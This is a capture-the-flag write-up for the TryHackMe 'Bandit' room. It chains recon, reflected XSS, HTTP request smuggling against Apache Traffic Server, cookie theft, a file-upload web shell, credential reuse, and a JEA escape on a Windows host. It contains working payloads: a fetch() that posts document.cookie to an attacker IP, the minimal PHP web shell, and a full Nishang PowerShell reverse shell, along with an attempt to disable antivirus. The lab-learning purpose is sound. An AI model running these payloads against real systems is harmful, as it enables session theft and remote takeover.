# Bandit

{% embed url="<https://tryhackme.com/room/bandit>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

### Scanning

Scanning our first target, the Linux machine with Nmap we can discover four open ports, of which on each of them runs a different service. On Port 22 SSH, on 80 an Apache Traffic Server, on 631 CUPS and on 8002 a web server.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3L8TTvuCiiukeJ9CT5Ds%2Fgrafik.png?alt=media&#x26;token=d77bc3a8-e75d-4b95-9be2-c83c413c1fc2" alt=""><figcaption></figcaption></figure>

Next, we head directly to the windows machine. Notable ports are Microsoft Windows RPC (port 135 and multiple 49xxx ports), Microsoft Windows file sharing (port 139 and 445), port 3389 for remote desktop and last but least port 5985 used by WinRM.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FG1a7jdrwpICFsbmm6UE3%2Fgrafik.png?alt=media&#x26;token=547147a1-8627-43cd-b51b-7e5025650d94" alt=""><figcaption></figcaption></figure>

After scanning our targets with Nmap, we enumerate the available web services. We start with our main target `bandit.escape` on port 80. This time we use FFuF to fuzz all possible directories.&#x20;

A scan with Gobuster would also be possible by excluding the length.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAluCA9vgASjoxCwlMg7z%2Fgrafik.png?alt=media&#x26;token=aa82fc4e-ad55-41e2-a5be-f050b1081e08" alt=""><figcaption></figcaption></figure>

We exclude results with a size of `3302` to filter false positives redirected to the index page.&#x20;

```
┌──(0xb0b㉿kali)-[~]
└─$ ffuf -u http://bandit.escape/FUZZ -w /usr/share/wordlists/dirb/big.txt -fs 3302
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCKrfnMjlclkFFNze7LPr%2Fgrafik.png?alt=media&#x26;token=dd56d557-40a7-4c90-ab8a-987c642850ca" alt=""><figcaption></figcaption></figure>

After having enumerated the first layer of directories, we run a second scan to enumerate all possible PHP pages on the page, since we know that PHP 7.3.4 is used from the response headers. We see there is a login implemented, and a file upload seems also possible.&#x20;

```
┌──(0xb0b㉿kali)-[~]
└─$ ffuf -u http://bandit.escape/FUZZ.php -w /usr/share/wordlists/dirb/big.txt -fs 3302
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnB7w0CqhcRI7NcIpA7im%2Fgrafik.png?alt=media&#x26;token=e7aff6f9-259e-4927-bc92-9acef8cb4d79" alt=""><figcaption></figcaption></figure>

### OSINT

An interesting finding from the FFuF scan is a license, owned by the person `ricnish`. On looking that person up, we are able to find a GitHub repository with a PHP authentication example. It looks like it was used to build this room. So here we have partly access to the sources of the login page with the assumption that this could have been slightly altered.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FEGAzZiEcxZomJalaAVBY%2Fgrafik.png?alt=media&#x26;token=ceff223f-1e3f-4dc2-9ea1-bb6af3931b40" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/ricnish/php-auth-example>" %}

## Foothold

After having inspected the source and scans, we visit the hosted website of the Linux machine. We are able to search something, a slideshow of pictures is shown, and a login page is accessible. Using the login page with default credentials `admin:admin` - found in the source - did not work. But the `PHPSESSID` cookie was set. By trying to access the upload page `/upload.php` we get redirected to the login page.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYeFsCl6ganwE49FZCcgk%2Fgrafik.png?alt=media&#x26;token=da52c67f-5269-4d19-940e-f9f32a578fd7" alt=""><figcaption></figcaption></figure>

Looking at the source of the index page, we are able to spot the images' location. Also, the images have an MD5 hash as filename.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNHO1GH3QbpnIFLWF2y1F%2Fgrafik.png?alt=media&#x26;token=4a6fbfea-0ae4-47eb-b1f3-d6f26697a252" alt=""><figcaption></figcaption></figure>

By requesting a search, we see that the input is passed via the filter parameter. The input gets reflected, so it stays in the input field. Nothing gets return with that search, the pictures are missing. By providing the search with a part of an image filename, it gets returned. The first tries here were to look for LFI, but weren't successful.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F5nWojkGz8dSe007d6Umt%2Fgrafik.png?alt=media&#x26;token=795c917a-2818-4c1b-abf4-8ed5d0d49a4c" alt=""><figcaption></figcaption></figure>

With a brief look at the source again, we see that reflected cross-site scripting should be possible.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FAFATJ2V6JKagEQMeThii%2Fgrafik.png?alt=media&#x26;token=48280e64-93cc-4a94-aa3b-8532922ababb" alt=""><figcaption></figcaption></figure>

### Reflected XSS

Next, we test our assumption with an alert, but terminating the value field before.&#x20;

```javascript
"/><script>alert('hi');</script><
```

And we are able to sneak our little script in. At this point, we can't do much with it except to mock ourselves.&#x20;

Let's move on.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqgRUgbl5yRoF5p6VLAYJ%2Fgrafik.png?alt=media&#x26;token=54a3cc1c-1cc6-4eca-a496-3daa31ef371f" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fdr89AnAUuz2WGpyktGdv%2Fgrafik.png?alt=media&#x26;token=d8bd7da4-34a7-447e-9f38-8697726e417c" alt=""><figcaption></figcaption></figure>

### HTTP Request Smuggling

Back to the Nmap results, we see that the Apache Traffic Server is used in the version 7.1.1. A quick lookup shows that Apache Traffic Server is an open-source web proxy and caching server that acts as a reverse proxy, enhancing web server performance and content delivery. After researching for known vulnerabilities, a CVE can be found regarding HTTP Request Smuggling here:&#x20;

{% embed url="<https://nvd.nist.gov/vuln/detail/CVE-2018-8004>" %}

So what is HTTP Request Smuggling exactly?

> HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users. Request smuggling vulnerabilities are often critical in nature, allowing an attacker to bypass security controls, gain unauthorized access to sensitive data, and directly compromise other application users.
>
> Request smuggling is primarily associated with HTTP/1 requests. However, websites that support HTTP/2 may be vulnerable, depending on their back-end architecture.

{% embed url="<https://portswigger.net/web-security/request-smuggling>" %}

Resources for further Reading can be found here:

{% embed url="<https://0xn3va.gitbook.io/cheat-sheets/web-application/http-request-smuggling>" %}

{% embed url="<https://portswigger.net/web-security/request-smuggling>" %}

After researching on how to exploit the vulnerability on that specific version two blog post with a detailed explanation of the topic were found:

{% embed url="<https://regilero.github.io/english/security/2019/10/17/security_apache_traffic_server_http_smuggling/>" %}

{% embed url="<https://medium.com/@knownsec404team/protocol-layer-attack-http-request-smuggling-cc654535b6f>" %}

So in short it is possible to craft a request, that gets prepended to the request of another user. For example to nullify the first line of the request to smuggle our own. Since the search is implemented via a query string, we have an option to smuggle our XSS payload to another user.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fm9hFvq9AqHSLVejDFq2v%2Fgrafik.png?alt=media&#x26;token=e597066f-c382-462a-ab33-4af942530319" alt=""><figcaption><p>source: <a href="https://0xn3va.gitbook.io/cheat-sheets/web-application/http-request-smuggling">https://0xn3va.gitbook.io/cheat-sheets/web-application/http-request-smuggling</a></p></figcaption></figure>

From the Medium Blog Post, we find a working solution of triggering the vulnerability with a space in between the `Content-Length` parameter and the colon of the request parameter.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9G47QlU1dyBTAPYdq5Wf%2Fgrafik.png?alt=media&#x26;token=a438ceee-b457-4f8d-a3a5-844b71634941" alt=""><figcaption><p>source: <a href="https://medium.com/@knownsec404team/protocol-layer-attack-http-request-smuggling-cc654535b6f">https://medium.com/@knownsec404team/protocol-layer-attack-http-request-smuggling-cc654535b6f</a></p></figcaption></figure>

Lets look at the following attacker request:

```
GET / HTTP/1.1
Host: bandit.escape
Content-Length : 40

GET /?filter=payload
Host: bandit.escape
foo:
```

This would lead to the following victim request afterwards, if the victim request `GET / HTTP/1.1`:

```
GET /?filter=payload
Host: bandit.escape
foo: GET / HTTP/1.1
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FN128WbjapWNA2JUgo8td%2Fgrafik.png?alt=media&#x26;token=84aa0071-8de6-48fd-9de3-cd67dd82c1df" alt=""><figcaption></figcaption></figure>

For this to work correctly the `Content-Length` has to be the correct value. So we input the requests in Burp, send it the first time with our encoded payload to let Burp calculate the correct length. After that we place the space between the parameter and the colon. We have to disable Burp's option to update the `Content-Length` parameter, so it won't insert a working parameter.&#x20;

Here we placed a small JavaScript to fetch to our machine to disclose information of the user making the request. Next, we set up a listener and have to submit the request several times until we see a shorter `Content-Length` of the response indicating that not pictures were found and the JavaScript placed.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtKjwdiyZhQPRzjNBo6U7%2FPeek%202023-10-17%2020-20.gif?alt=media&#x26;token=2fe29021-5f40-47cd-9a51-625ee3f64c09" alt=""><figcaption></figcaption></figure>

We see, we were able to transmit the data `'Hello World'` via a user requesting from `bandit.escape` `10.200.135.107`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FtIbCxnrWlCIlNvRGedYo%2Fgrafik.png?alt=media&#x26;token=a06551fe-3173-44d3-959a-207429b2fd4a" alt=""><figcaption></figcaption></figure>

### Stealing A User's Session

The simplest thing we can do now is to steal the user's `PHPSESSID` cookie in the hope of hijacking a privileged session.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FWaMHsqELdlHTs07y23z1%2Fgrafik.png?alt=media&#x26;token=18ff8364-47de-473d-ad25-c853d5c006af" alt=""><figcaption></figcaption></figure>

Let's first try to steal our own cookie by accessing the page by our own. It worked.

```javascript
"/><script>alert(document.cookie);</script><
```

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FuoYuNqZ4Y3Xho8cUlH3W%2Fgrafik.png?alt=media&#x26;token=4a87d243-cd22-4fe5-9014-1ce11623ebcb" alt=""><figcaption></figcaption></figure>

Now lets steal the other user's cookie.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnybdAKMkeh8jpWBbjwnE%2Fgrafik.png?alt=media&#x26;token=13973625-b8a7-455c-b0d3-0b87e6a5d9e9" alt=""><figcaption></figcaption></figure>

```
GET / HTTP/1.1
Host: bandit.escape


GET /?filter="/><script>fetch("http://10.50.61.5:9000",{method: "POST", body: document.cookie});</script>< HTTP/1.1
Host: bandit.escape
foo:
```

Keep in mind of encoding the payload and calculating the correct length before.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOmLoVO1Im3pM6i2lp4qW%2Fgrafik.png?alt=media&#x26;token=2b1e6760-4ce5-4c84-9616-aa826f7e4c7d" alt=""><figcaption></figcaption></figure>

And we'll receive a session cookie after some time.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOgE8yDV32BpM1AiDJok3%2Fgrafik.png?alt=media&#x26;token=7557f84e-b423-432d-8d49-0026a5b19435" alt=""><figcaption></figcaption></figure>

Let's place the cookie in our browsers' storage.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fd1KOCOIZhnJBiX9Jdy0V%2Fgrafik.png?alt=media&#x26;token=57bb6674-ed04-4f52-a746-3b2f90d99dfd" alt=""><figcaption></figcaption></figure>

Now we are able to reach `http://bandit.escape/upload.php`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8qAqDPP0yNbm4KULr5hn%2Fgrafik.png?alt=media&#x26;token=de2ad848-6820-4353-803f-864941a10fa0" alt=""><figcaption></figcaption></figure>

### Bypass File Upload

First, we inspect the source and see a simple JavaScript file upload restriction, only allowing images with a specific size. This can easily be bypassed by uploading a valid image and intercepting the request with Burp Suite to manipulate the file to our desire.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FZyuiJ5GRr1YLIyVNE2Rs%2Fgrafik.png?alt=media&#x26;token=61348545-2b51-43df-a90f-42e6c8a5dc59" alt=""><figcaption></figcaption></figure>

Again, we are able to spot some hints to find the original sources of the image upload page at GitHub. With the search of the value of the description we are able to locate a Github respository.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIRb8IwNNtnHULDGqyL8i%2Fgrafik.png?alt=media&#x26;token=0e038996-3da3-4494-8af6-749544bbc809" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/FrancescoBorzi/Bootstrap-image-upload-form>" %}

Before heading to Burp we try to upload the same picture that is already been available on the website. We get a warning that the file size is too big.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FhRzI7mYvDaL71OZPe9RF%2Fgrafik.png?alt=media&#x26;token=c4c9b5e2-0fa8-4cea-80cf-25146be85cdc" alt=""><figcaption></figcaption></figure>

Ok, lets check that with a really small image, just a PNG pixel.

{% embed url="<https://png-pixel.com/>" %}

Also this time the image is too big.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FiipLOjaChd87eNKFCqeD%2Fgrafik.png?alt=media&#x26;token=0ebd63c2-fdc5-4583-a312-a8bd7deaa5b2" alt=""><figcaption></figcaption></figure>

Let's reduce the number of character. It is actually possible to upload something, but it has to be really tiny. The smallest possible PHP web shell comes into mind, that might work. But first we have to validate that the upload was successful.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fok6QPUQ8uKIDhRke656E%2Fgrafik.png?alt=media&#x26;token=a4ee7bde-fa48-4194-9744-17cd439502d6" alt=""><figcaption></figcaption></figure>

The 'image' is there and got renamed to an MD5 hash. After uploading a file with `.php` as ending, it does not get displayed. That might be an issue.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fu6Th4ZZEVErdZ4xm2CtF%2Fgrafik.png?alt=media&#x26;token=2f8ba4e4-315e-4555-bfe0-f0c20af42f94" alt=""><figcaption></figcaption></figure>

So next, let's try to figure out how the file name for the images gets created. Hopefully it isn't completely randomized. After hashing the content of the file, the filename without the file ending and the complete filename, we can see that the complete filename gets hashed and the file ending appended.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FYMBfVaVXJTIjOxcU2rXQ%2Fgrafik.png?alt=media&#x26;token=bbe917be-0dad-4a36-ba0a-b95343134f55" alt=""><figcaption></figcaption></figure>

Since we are able now to calculate the correct file name, we should be able to access it directly at `/uploads`.

We place the smallest possible PHP web shell as content ``<?=`$_GET[0]`?>,``choose the file name `shell.php` and upload the file.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fe4tptCINnN3JVLTa6IYF%2Fgrafik.png?alt=media&#x26;token=987c5c14-53eb-4f0c-8ab8-e2f74e81509e" alt=""><figcaption></figcaption></figure>

Next, we get the file name using CyberChef.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FqcND6KlBgHZn2CalT0ba%2Fgrafik.png?alt=media&#x26;token=aa98904b-1929-40a7-8ef5-55b8598789e4" alt=""><figcaption></figcaption></figure>

Lets test our web shell at `http://bandit.escape/uploads/25a452927110e39a345a2511c57647f2.php` with a simple id command and we get a response.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fe3h0cWJDHtVWWijQyjbU%2Fgrafik.png?alt=media&#x26;token=56a72700-45d2-4df2-9739-a056d21a30bc" alt=""><figcaption></figcaption></figure>

Now, that we have a working web shell, we set up a listener and issue a reverse shell. We get a connection and are the user `www-data` with a restricted shell.<br>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FroKTPlsinGDjpSBxOJOu%2Fshell.gif?alt=media&#x26;token=d1f01fd3-53b7-4950-ad58-8cb893c80afa" alt=""><figcaption></figcaption></figure>

From there, we are able to look at the actual source of `auth.php`, in which we find the credentials of the user `safeadmin`. We are able to use those to log in to the web application.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FkT33eBKCsHrTFP2U4nT9%2Fgrafik.png?alt=media&#x26;token=3dcb3b3a-3840-4854-839a-913fe061d3d2" alt=""><figcaption></figcaption></figure>

## Lateral Movement

Now that we have gathered some credentials, let's move on. We were not able to find anything more of interest as the user `www-data`. So recalling the Nmap scan, we remember that SSH is running and available on the machine. Let's check if the credentials are being reused.

### Reaching A Checkpoint And Getting First Flag

We are able to log in via as SSH as the user `safeadmin` with the found credentials. From there we have a checkpoint and are able to retrieve the first flag in the user's home directory.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6z8qjabXPAzObfj2sSGq%2Fgrafik.png?alt=media&#x26;token=f54544e3-cc27-4021-9288-fcf680fba961" alt=""><figcaption></figcaption></figure>

### Easy Root

The first thing that was immediately obvious is that the user is allowed to run everything with `sudo` without a password. So we are able to directly switch to the root user.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FspS5xBZzLZYUOoewLrrP%2Fgrafik.png?alt=media&#x26;token=7ef7a2f5-6f52-48b2-a0ff-34478d1630a5" alt=""><figcaption></figcaption></figure>

### Enumeration

We are able to spot the docker images running for the challenge and the user `ubuntu`, which firstly just seems to be there to set up the challenge. In the `/etc/hosts` file, we spot the entry for `10.200.XX.10`, it's `bandit.corp`. Browsing through the file system, we are able to spot a PowerShell binary, and the modules `PSWSMan` and `PSReadLine`. That is interesting, maybe we are able to gain access to the Windows machine via the specific module through a `PSSession`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FCtF7Tl1Z6hA57JRXNK6P%2Fgrafik.png?alt=media&#x26;token=8023d68c-d73e-4dec-b606-3d278a355000" alt=""><figcaption></figcaption></figure>

Now we know that the module `PSWSMan` might haven been used, we look for possible credentials or hints in the command history.

```
find / -type f -name 'ConsoleHost_history.txt' -ls -exec cat {} \;
```

And we get a hit.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FIW8A5mCGeOOHW0RtbEws%2Fgrafik.png?alt=media&#x26;token=b279a8de-43b0-4b48-826d-684e36506d31" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
This file might not have been generated on your network if you noticed the message 'connection lost' while registering to the challenge via SSH. If that happens, you should reset or switch the network and re-register again. We fell into a rabbit-hole searching the entire system for vulnerabilities and looking at different stuff and ignoring PowerShell and the user Ubuntu under the assumption the user was just there to set up the challenge.
{% endhint %}

### Moving

We run `/opt/microsoft/powershell/7/./pwsh` to start a PowerShell instance, and reuse the commands to enter the PowerShell session.

{% code title=" ConsoleHost\_history.txt" %}

```powershell
$ClearPassword = "[REDACTED]”

$SecurePass = ConvertTo-SecureString $ClearPassword -AsPlainText -Force

$credential = New-Object System.Management.Automation.PSCredential("[REDACTED]", $SecurePass)

Enter-PSSession -ComputerName bandit.corp -Credential $credential -ConfigurationName testHelpDesksafe -Authentication Negotiate
```

{% endcode %}

Now we reached the `bandit.corp` `10.200.XXX.10` machine.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmG05KEy4fz0Ys0fbJO1J%2Fgrafik.png?alt=media&#x26;token=a85ec4c2-ce1d-4cb2-88b8-4dc3a2d70cce" alt=""><figcaption></figcaption></figure>

## Windows Hardening Evasion

Being in the PowerShell session, we spot that we are not able to use the full set of commands.

### JEA & No Language Mode

We are facing Just Enough Administration (JEA):

> Just Enough Administration (JEA) is a security technology that enables delegated administration for anything managed by PowerShell. With JEA, you can:
>
> * **Reduce the number of administrators on your machines** using virtual accounts or group-managed service accounts to perform privileged actions on behalf of regular users.
> * **Limit what users can do** by specifying which cmdlets, functions, and external commands they can run.
> * **Better understand what your users are doing** with transcripts and logs that show you exactly which commands a user executed during their session.

{% embed url="<https://learn.microsoft.com/en-us/powershell/scripting/learn/remoting/jea/overview?view=powershell-7.3>" %}

Let's see what we are allowed to do with the `Get-Command`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F1bEB8RlKQGhfS2drDVeo%2Fgrafik.png?alt=media&#x26;token=27737a3f-a662-4198-8795-b1bd597689f3" alt=""><figcaption></figcaption></figure>

We are also in `no-language mode`, so we aren't able to run any scripts or use any variables.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fd4jNuNe4cojTVZ3WDtsG%2Fgrafik.png?alt=media&#x26;token=a694d5e1-9c19-4e19-ac19-baf9891dcbe5" alt=""><figcaption></figcaption></figure>

> #### NoLanguage mode <a href="#nolanguage-mode" id="nolanguage-mode"></a>
>
> PowerShell `NoLanguage` mode disables PowerShell scripting language completely. You can't run scripts or use variables. You can only run native commands and cmdlets.
>
> Beginning in PowerShell 7.2, the `New-Object` cmdlet is disabled in `NoLanguage` mode when system lockdown is configured.

{% embed url="<https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.3>" %}

Recalling the list of available commands via `Get-Command`, the `Get-ServicesApplication` command stands out. It looks like a custom function. Maybe there lies a vulnerability in it. By checking out the `CommandInfo` via `Get-Command -ShowCommandInfo`, we see that it is build by using the CMDlets as follows:&#x20;

`Get-Service | Select-Object -Property name,$Filter`<br>

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F9KZ6cPmh6WQsdOLVLldC%2Fgrafik.png?alt=media&#x26;token=b9b74474-a606-4fdf-bda9-c550b5a753ac" alt=""><figcaption></figcaption></figure>

This get invoked by `Invoke-Expression`, that allows to execute code. See:

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F8E7dL7x7evH6ntj7nBlV%2Fgrafik.png?alt=media&#x26;token=169e7f19-3a2b-406b-bc0c-1eb571ab403c" alt=""><figcaption></figcaption></figure>

{% embed url="<https://youtu.be/ahxMOAAani8?t=800>" %}

### Bypass JEA

An insightful resource about bypassing JEA can be found here:

{% embed url="<https://devblogs.microsoft.com/powershell/powershell-injection-hunter-security-auditing-for-powershell-scripts/>" %}

Using `"(command)"` as a parameter for `-Filter` we are able to get code execution. Now we should be able to escape.

{% embed url="<https://ss64.com/ps/syntax-operators.html>" %}

We issue the command `whoami` and get the command evaluated.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnJQlAvqQhtBalhdAvxSw%2Fgrafik.png?alt=media&#x26;token=b7fe24ee-6274-4684-b307-4db81e083f99" alt=""><figcaption></figcaption></figure>

### Break Out For Second Flag

To escape, we make use of the `Nishang` reverse shell.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FNWFUf3fN7rOqzGCMsFRJ%2Fgrafik.png?alt=media&#x26;token=ddc0264d-9c1c-45ba-89ff-3595ddff68c1" alt=""><figcaption></figcaption></figure>

```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.50.132.25',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

```

{% embed url="<https://github.com/samratashok/nishang>" %}

After applying IP and port, we encode the payload in `base64` to avoid strange behaviors in our bypass. We set up a listener on 443.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTbBKiknI4igYzWpJritc%2Fgrafik.png?alt=media&#x26;token=6b052d4c-77bd-43d0-ad2e-d807c3602197" alt=""><figcaption></figcaption></figure>

But we got a miss. AV detection is still on.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FTxlRO835I11rTjHGM9Jx%2Fgrafik.png?alt=media&#x26;token=8a02ea6d-7832-4bce-a4ae-795c24ac6ba2" alt=""><figcaption></figcaption></figure>

When trying to turn off the AV, there was an error while executing it and the rev shell did not connect this time too.&#x20;

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FOT3u8SbrZtNd9ZClf9mL%2Fgrafik.png?alt=media&#x26;token=b2ee2ed2-ca7f-449a-b709-d85ee4b6dcfc" alt=""><figcaption></figcaption></figure>

Thus we encode it in `base64`.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fa6iZk5RLX3sI0RZh9GvD%2Fgrafik.png?alt=media&#x26;token=fcda2916-a5e6-474a-82aa-3b3e00bfdc4a" alt=""><figcaption></figcaption></figure>

